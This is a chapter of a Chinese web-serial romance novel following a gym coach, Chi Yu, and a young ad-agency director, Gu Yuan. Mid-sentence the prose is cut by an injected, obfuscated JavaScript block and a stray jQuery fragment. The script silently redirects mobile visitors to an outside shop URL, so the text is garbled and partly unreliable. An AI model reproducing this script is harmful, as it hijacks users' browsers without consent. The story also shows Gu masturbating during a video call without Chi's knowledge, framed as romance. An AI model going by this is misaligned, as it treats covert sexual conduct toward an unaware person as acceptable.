“听说你进派出所了,什么情况?”
“误会。”
迟屿言简意骇,将纸袋原封不动放在休息区的桌面上,林琳往里面扫了眼,“嚯,最新款啊,有实力又大方,可以嫁。”
男人脸上却半点高兴的情绪都没有,垂着睫毛一言不发。
认识的时间不算长,迟屿平时也总闷着不说话,外表看上去难以接近,但林琳知道他其实是个柔软的人。又很纯粹,心里划着的线把所有人、所有事情都分得清清楚楚,一旦混淆,就会产生不安。
就是算得太清了。
“送你的就拿着呗。”
见他还在皱眉发愁,林琳忍不住感叹,“迟哥啊,我说你这人哪儿都好,就是道德感太强了些,你看看你这张脸,再看看你这身材,你但凡一脚踩歪,现在已经拿到大结果三年抱俩了。”
“什么是大结果?”迟屿茫然抬眸。
得,还是土纯风。
林琳解释不清这些,三言两语糊弄过去,看着似懂非懂的男人,她问,“应该不是白送吧。”
迟屿摇头,本来不应该跟林琳说这些的,但他从派出所出来到去了修理店,转了一圈再回到横塑,脑子里依旧混乱着,“说是赔偿,然后…给我的加班费。”
最后关头,他还是没有透露视频教学的事。
“那不就行了。”林琳说,“没什么好纠结的,意有所图就好说,最怕的是什么都不图,免费的才是最贵的,这个道理你明白吧。”
“……嗯。”
“你要是实在觉得过意不去,就把钱转过去当成自己买的不就好了。”她起身翻找了下,把工资条放到迟屿面前,“还没看吧,新出炉还冒着热气呢,你这个月工资买个新手机绰绰有余了。”
迟屿视线聚焦在最后一栏,看清数字,他眸光微动。
两万一。
就算还了一万,也还剩下一万一。
迟屿对旧手机没什么留恋,只是想把里面的数据传过来,但去得太晚,店员急着下班约会让他明天再来,看见他手里没拆的包装盒,一眼看出价格,加起来刚好一万出头。
“你以前那个手机是太旧了点,总是卡机,联系起来挺不方便的,这个牌子还算耐用,只要没磕磕碰碰,用个三五年没问题的。”
林琳说得对,没必要为了这件小事发愁,还闹出误会去派出所走了一趟,还打扰到顾渊工作,是他钻牛角尖了。
迟屿仔细想了想,重重点头,“我知道了,谢谢。”
他起身,走出几步又折返回来,低声说,“明天…请你和小王,喝奶茶。”
“行啊。”
林琳才不跟他客气,扬了扬眉毛,“那我要喝贵的。”
——
会议室里弥漫着浓重的咖啡味,头顶的冷白灯光将坐在两侧的每道身影照得清清楚楚,一张张脸上眉头紧锁,烦躁忧虑,紧张焦躁的氛围无声蔓延。
这是被告知合作暂停的第12个小时,前期方案交上去一路绿灯,到签合同时甲方却突然变卦,意向模糊,小道消息是在接触另一家广告公司。
该联系的联系了,该发的火也发过了,最后还是一筹莫展,只能干等。
会议室门被推开,“Ryan。”
一直背对着长桌的椅背慢悠悠地转了过来,无数道目光齐齐看向坐在主位的长发身影。
那是一张比在场任何人都要年轻的面孔。一身纯色西装,肌肤苍白,几乎和身后的白屏融为一体,此刻正漫不经心地盯着手机屏幕,指尖轻敲扶手,“说。”
“通过了。”来人点点头,露出一抹如释重负的笑意,“正在走流程,合同马上就发过来。”
下一瞬,欢呼和掌声骤然响起。
顾渊的目光从手机屏幕上移开,淡淡点头,“辛苦了,收拾一下,今晚听兰阁见。”
“好诶!”
“顾总监也辛苦了!”
和他一起来的部门成员跟着顾渊出了会议室,留下几人整理桌面文件资料,杜迪碰碰旁边的人手肘,低声说,“真是神了,我们嘴皮子磨破了都没找出原因,他没一会儿就搞定了。秦姐,这人到底什么来头?”
秦怡然隔着玻璃望去一眼,男人正倚在桌边,端起瓷杯喝了口红茶。
不知看到了些什么,唇角噙起一抹浅淡的笑意,和刚进入会议室时的难搞模样判若两人。
23岁,不过大学刚毕业的年纪,在场所有人在这一行的履历都比他深,却能空降分公司总监,又长了张这样的脸,闲言碎语在收到顾渊要来的消息那刻开始流传,却在他进入会议室后的十分钟尽数被冻结。
从创意到呈现方式,被批判得体无完肤,就差把“这是垃圾吗”几个字写在脸上,为此还爆发过一段不小的争吵。
吵得脸红脖子粗时,他一句:“我要是甲方,掏钱做出这种广告,不如印成传单从飞机上撒下去”,彻底将场面冻结。
一片死寂时,顾渊放在桌上的手机突然响了,接了个电话回来后,男人眉眼间的寒冰肉眼可见的消融,直接切入正题,提出了新方案。
新方案甚至是顾渊在下飞机后来公司路途中完成的,虽然还只是个雏形,但极具颠覆性又凸显产品本身概念的主题创意,无人不在看到标语的第一眼被吸引眼球。
“是个天才。”秦怡然说。
不像是会待在这种地方的人。
——
今晚横塑健身的人不多,迟屿找了个安静的角落,准备重新录制胸部拉伸的视频。
为了让顾渊看得更明显的肌肉拉伸状态,他拽着下摆犹豫要不要直接脱掉,两分钟后,去换了件小一号的T恤。
没有任何富余的面料紧紧箍在身上,勾勒出明显的起伏,尤其是胸部。
迟屿看了眼镜子里的男人,明明是再熟悉不过的身体,他却突然觉得有些陌生,而且……
瑟晴。
还不如脱掉。
眼尾火烧一般的烫,他忍住羞赧,点开了录制键。
怕昨晚视频模糊卡顿,讲的不够仔细,等讲完常用的拉伸姿势,迟屿又拿来泡沫滚轴,细致地讲解了一遍全身拉伸。将所有视频连同转账一起发给顾渊。
已经过去了快一个小时,迟屿看完奶糕回到家,对方却始终没有任何回应。
新手机没有聊天记录,顾渊的聊天框孤零零挂在页面顶端,昨晚后来发了些什么,迟屿也不知道了。
新手机功能很多,但他不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947771|213728||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
太会用,也没有下载什么娱乐软件,迟屿平躺在床上,一如既往盯着天花板发呆。
手机就放在枕边,静音键开着,时不时响一声,迟屿拿起来看,见只是浏览器的弹窗又放了回去,后来干脆放在胸口。
沉甸甸的。
林琳说意有所图才会送他礼物。
但顾渊能图他什么呢……
迟屿想不出来,风扇呼呼吹着,他的眼皮逐渐沉重,昏昏沉沉之际,默认铃声响起。
是微信视频的申请。
迟屿还没坐起来,手上就先一步点了接通,画面出现的那瞬,他的睡意骤然消散。
和见面时的休闲装扮不同,顾渊似乎是刚从什么宴会上下来,穿着一身白西装,衬衫解到锁骨,喝了酒,总是苍白的脸颊多了些血色。
俯身时,狭长上挑的凤眸被胸针前镶嵌的宝石映出几分妖异流光。
看起来…更好看了。
“刚忙完,忘记提前说一声,让你久等了吧。”
迟屿皱了下眉,“你…喝酒了?”
“嗯,应酬。”画面抖动,对面换了个姿势,将镜头往上抬了抬,“喝了一点。”
“那你好好休息,我先挂——”
“别挂。”顾渊出声打断,看着屏幕中眼睫扑扇不敢跟他对视的迟屿,在酒精作用下,微微燥热的身躯愈发躁动。
视频他都看过了,起初男人的嗓音还带着不自觉的颤抖,但在专业领域里,逐渐变得从容起来,自信,强大,可在他眼前却又会展现出害羞无措的一面,纯情得可口。
顾渊齿关发痒,恨不得能够穿过屏幕,将人吞入腹中。
眼底浓墨氤氲,他轻声说,“我一个人在酒店,有些怕,小迟教练陪我几分钟,好吗?”
迟屿微怔,旋即有些严肃,“你同事没和你一起?”
懒得走报销流程独自升房的顾渊摇摇头,“没。”
“门要反锁好,用凳子抵住把手,发现有什么不对劲的及时报警……”
戴着发圈的手腕逐渐往下,拉链滑动的声响淹没在男人认真的嘱咐声中,顾渊的眼神从他翕动唇瓣逐渐游移。
没穿昨天那件背心,有些可惜,洗了澡不久,胸口还有被洇湿的痕迹。
镜头只到腰部,隐隐露出身后的床架和墙面,宽松T恤被风吹动,和视频里近乎直白的视觉冲击不同,带着柔软的、居家的气息。
“好,都听你的……”
顾渊缓慢动着,咬着齿关调整呼吸。
一阵难言的沉默。
迟屿没挂,他也没挂断。一个低垂着眼帘,一个盯着屏幕中的人,在他看不见的地方??。
不知过了多久。
“迟屿。”
迟屿条件反射看向镜头。
“靠近一些。”
浸了酒意的嗓音愈发沙哑,迟屿下意识照做,俯身靠近镜头。
画面最后,他只来得及听到一声闷哼,通话骤然挂断。
居然打了二十几分钟吗……
迟屿呼吸一促,连忙询问:出什么事了?
顾渊:没事,不小心碰到了。
迟屿:好,那你好好休息。
顾渊:多谢^_^